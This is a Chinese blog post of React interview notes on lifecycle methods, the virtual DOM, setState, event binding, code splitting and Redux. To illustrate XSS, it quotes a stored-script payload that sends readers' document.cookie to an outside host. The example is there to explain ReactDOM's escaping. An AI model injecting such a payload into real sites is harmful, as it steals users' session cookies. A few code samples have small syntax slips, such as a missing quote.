20190422 关于react你需要知道

react生命周期函数

  • getDefaultProps:获取实例的默认属性
  • getInitialState:获取每个实例的初始化状态
  • shouldComponentUpdate:组件接受到新属性或者新状态的时候(可以返回false,接收数据后不更新,阻止render调用,后面的函数不会被继续执行了)

性能优化的周期函数

shouldComponentUpdate

判断是够需要调用render来重新描绘DOM。如果可以写出更优的diff,那么就可以提高性能

在生命周期的哪一步发起ajax请求

在 componentDidMount 中:

  1. 下一代调和算法会根据 页面开始和停止渲染的方式优化应用的性能,我们就不能确定 componentWillMount 被调用的次数,如果说是频繁调用的话,肯定是不能发起请求的
  2. 请求必须保证在组件挂载完毕之后才被触发,否则可能在未挂载的组件上调用setState方法,componentDidMount 能避免这个问题。

PureComponent

纯组件,react提供的辅助函数,用来实现属性或状态的浅比较。

具体比较方法:

  1. 两个都是基本类型,比较值;值一样 true,不一样,false
  2. 两个都是引用类型,比较引用对象是否是同一个,是,返回true,不是,比较长度、属性、属性值
  3. 一个基本一个引用,false

jsx代表Objects

本质上,JSX 是React.createElement(component, props, …children) 提供的语法糖,最终将返回一个js对象。

const element = (
  <h1 className="greet">hello</h1>
)
// 转化之后的代码
const element = React.createElement(
  'h1',
  {className: 'greet'},
  'hello'
)
// React.createElement返回一个对象(即 React元素)
const element = {
  type: 'h1',
  props: {
    className: 'greet',
    children: 'hello'
  }
}

为什么每个组件都必须引入React

为了React始终在作用域中,jsx的实质是React.createElement()的语法糖。

受控组件 vs 非受控组件

  1. 受控组件

    • 表单数据由 react 组件处理
    • 使用 value 属性
    • 使用 setState 更新数据
  2. 非受控组件:

    • 表单数据由 DOM 处理
    • 使用ref获取到真实的 DOM
    • 使用 defaultValue 属性

React DOM

可以确保浏览器dom的数据内容和react元素保持一致

ReactDOM 可以有效的防止XSS(跨站脚本)攻击

ReactDOM在渲染之前会过滤所有传入的值,将所有的内容都转化成字符串,而不是一段可执行的代码,这样就可以确保应用不会被注入攻击。

场景:

a.com可以发文章,我登录后在a.com中发布了一篇包含恶意代码<script>window.open(“www.b.com?param=”+document.cookie)</script>的文章,

这时Tom和Jack看到了我发布的文章,当在查看我的文章时就被注入攻击了,他们的cookie信息都发送到了我的服务器上

React 元素都是 immutable 不可变的。

要想改变,需要重新创建一个React DOM, 然后将它传入ReactDOM.render()方法中。

function tick() {
  const element = <div>hello, {new Date().toLocaleTimeString()}</div>;
  ReactDOM.render(element, document.getElementById('root));
} 
tick();
setInterval(tick, 1000);

元素渲染与更新

渲染:通过 ReactDOM.render() 方法将 React元素渲染到根 DOM 节点中。

更新:创建一个新的元素,然后将它传入到 ReactDOM.render() 方法中

为什么虚拟DOM会提高性能

虚拟DOM相当于在js和真实的dom之间加了一个缓存,通过diff算法,避免了一些不必要的DOM的更新,从而提高性能。

过程:

  1. 用js对象结构表示DOM树,用这棵树构建一个真实的DOM树,插入到文档中
  2. 当状态发生变化时,重新构造一棵新的对象树,新的树和旧的树进行比较,记录差异
  3. 把记录的差异应用到步骤1所构建的真实的dom树上,视图更新。

为什么组件的返回值只能有一个根元素。

这是由**React.createElement()**方法决定的。dom结构就是一个树状结构。

Props 与 state 的区别

Props的只读性;所有的react必须像纯函数那样使用他们的props

// 纯函数 1.不改变传入的值 2. 传入的值相同时返回结果也一定相同
function sum(a, b) {
  return a + b;
}
// 非纯函数
function change(user) {
 user.name = 'lll';
}

协调

用来比较两棵树差异的算法。

在状态或者属性改变时,render 函数将返回一个新的 react 元素树,然后 react 算出新的树与旧的树之间的差异的过程叫做协调。

介绍一下diff算法

基于两个假设:

  1. 相同的组件产生类似的dom结果,不同的组件产生不同的dom结构;
  2. 同一层级的dom,可以通过唯一的key来标识;

当状态发生改变的时候,形成新的对象树,新的树和旧的树进行比较,也就是标记为差异dirty,最后将所有标记为dirty的组件重新绘制。

也可以选择重写shouldComponentUpdate方法,优化diff,提高性能。

diff算法的缺点

  1. 算法无法匹配不同组件类型的子树
  2. 不稳定的key(类似由Math.random()生成的)将引起许多组件实例和DOM节点不必要的重建,这可能引起性能下降并丢失子组件的状态。

React 中 keys 的作用是什么

帮助 React 识别哪些元素被添加、删除、修改了,减少不必要的更新,提高性能。

react性能优化方案

  • 避免协调
    通过重写这个生命周期函数shouldComponentUpdate 来提升速度,它是在重新渲染开始之前触发的,可以用来提高性能。
    判断是否需要调用render方法去重新渲染。true:需要,false:不需要
  • PureComponent
    react提供的辅助函数,用来实现属性或状态的浅比较。
  • 使用keys
    帮助识别哪些元素被添加修改删除等。
  • 使用压缩过的生产版本
    因为开发版本中有很多有帮助的警告,会导致react很大很慢。
    所以在部署应用时,应该确保自己使用了生产版本。也就是 .min.js 结尾的React文件

setState可能是异步的

重点:React 可以将多个setState() 调用合并成一个调用来提高性能

  1. 由react引发的事件处理:异步的

  2. 绕过react引发的事件处理:同步的

原理:在调用react事件处理函数之前,会调用 batchedUpdates 函数,将 isBatchingUpdates 的值改成true,也就是不同步更新state

调用 setState 之后发生了什么

调用setState之后,React会将传入的对象与当前组件的状态进行合并,React在得到元素树之后,触发调和过程,使用diff算法计算新的树和老的树之间的差异,根据差异最小化的渲染页面;

为什么要在(在构造函数中)调用 super(props)?

  1. 调用super()是为了避免在构造函数中某些属性或者方法在未定义之前使用,比如 this.state
  2. 传入props的参数时因为:虽然react在组件实例化的时候会设置props,但是在构造函数结束之前,this.props都是未定义的。
    所以传入props是为了初始化this.props,方便在构造函数中使用。

react事件绑定的方式

  • 事件处理
// 事件绑定一:构造函数中绑定
constructor(props) {
  super(props);
  this.handleClick = this.handleClick.bind(this);
}
// 事件绑定二:属性构造器语法
handleClick = () => {
  console.log('this is:', this);
}
// 事件绑定三:箭头函数  问题:组件每次渲染时都会创建一个不同的回调函数,当这个回调函数当做参数传递给子组件时,可能会引起子组件额外的渲染
<button onClick={(e) => this.handleClick(e)}>
  Click me
</button>

注意:在render中,bind 和 箭头函数 会在每次组件渲染时创建一个新的函数,可能会影响性能

何为高阶组件 higher order component

以一个组件为参数返回一个新的组件的函数。比如:Redux 的 connect函数

代码分隔

创建多个包,在运行时动态加载;帮助懒加载用户所需要的内容

  1. import()
  2. React Loadable
    import Loadable from "react-loadable";
    const LoadableOtherComponent = Loadable({
      loader: () => import("./OtherComponent"),
      loading: () => <div>Loading...</div>
    });
    const MyComponent = () => <LoadableOtherComponent />;
    

    React Loadable 帮助你创建加载状态错误状态超时预加载等等。它甚至能通过大量的代码分割帮助进行服务端渲染

  3. 基于路由的代码分隔
    import { BrowserRouter as Router, Route, Switch } from "react-router-dom";
    import Loadable from "react-loadable";
    const Loading = () => <div>Loading...</div>;
    const Home = Loadable({
      loader: () => import("./routes/Home"),
      loading: Loading
    });
    const App = () => (
      <Router>
        <Switch>
          <Route exact path="/" component={Home} />
        </Switch>
      </Router>
    );
    

React 和 Vue 对比

相同点:

  1. 虚拟 DOM
  2. 数据驱动视图
  3. 单项数据流
  4. 都有 native 方案

不同点:

  1. 单文件组件,js,css 分离
  2. template,jsx 语法和函数式编程
  3. 数据双向绑定,数据单项绑定
  4. 数据更新优化内置依赖追踪,数据更新优化手动写生命周期

flux的思想

单向流动

  1. 用户访问 view
  2. view 发送 action
  3. dispatcher 接收到 action,要求 store 进行相应的更新
  4. store 更新后,发送一个 onchange 方法
  5. view 接收到 onchange 事件后,更新页面

说说对redux的了解

是一个数据流管理工具,主要是解决单项数据流组件之间状态共享的问题。

主要有:action、store、reducer

工作流程:

  1. view 调用 store 的 dispatch 接收 action 传入 store
  2. reducer 进行 state 操作
  3. view 通过 store 提供的 getState 获取到最新的数据

react拦截浏览器刷新,关闭事件

componentWillMount () {
  // 添加监听事件
  window.addEventListener('beforeunload', this.beforeunload);
}
componentWillUnmount () {
  // 销毁监听事件
  window.removeEventListener('beforeunload', this.beforeunload);
}
// 在离开之前弹出弹框
beforeunload (e) {
  let confirmationMessage = '你确定离开此页面吗?';
  (e || window.event).returnValue = confirmationMessage;
  return confirmationMessage;
}

react router 4 路由跳转之前确认自定义

https://www.jianshu.com/p/6798b9fe4b09

import { Prompt } from 'react-router-dom';
<Prompt message="系统可能不会保存您所做的更改?" when={true}/>

react进出场动画

https://www.npmjs.com/package/react-animated-router

react 静态检查

import PropTypes from "prop-types"; // React.PropTypes 自 React v15.5 起已弃用,使用 prop-types 代替

const ConsultantPair = ({ children }) => {
  return <div>{children}</div>;
};

ConsultantPair.propTypes = {
  children: PropTypes.element.isRequired
};

export default ConsultantPair;

react 富文本

react 元素 属性 dangerouslySetInnerHTML 展示富文本

react 为浏览器 DOM 的 innerHTML 提供的替换方案,防止 跨站脚本(XSS)的攻击。

<div dangerouslySetInnerHTML={{ __html: "<p>hello</p>" }}></div>

https://react.docschina.org/docs/dom-elements.html#dangerouslysetinnerhtml

react高阶组件传参

import React from "react";

function HOCFactoryFactory(...params) {
  return function HOCFactory(WrappedComponent) {
    return class HOC extends Component {
      render() {
        return <WrappedComponent {...this.props} />;
      }
    };
  };
}
// 使用一
HOCFactoryFactory(params)(WrappedComponent);
// 使用二
@HOCFactoryFactory(params)
class WrappedComponent extends React.Component {}
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值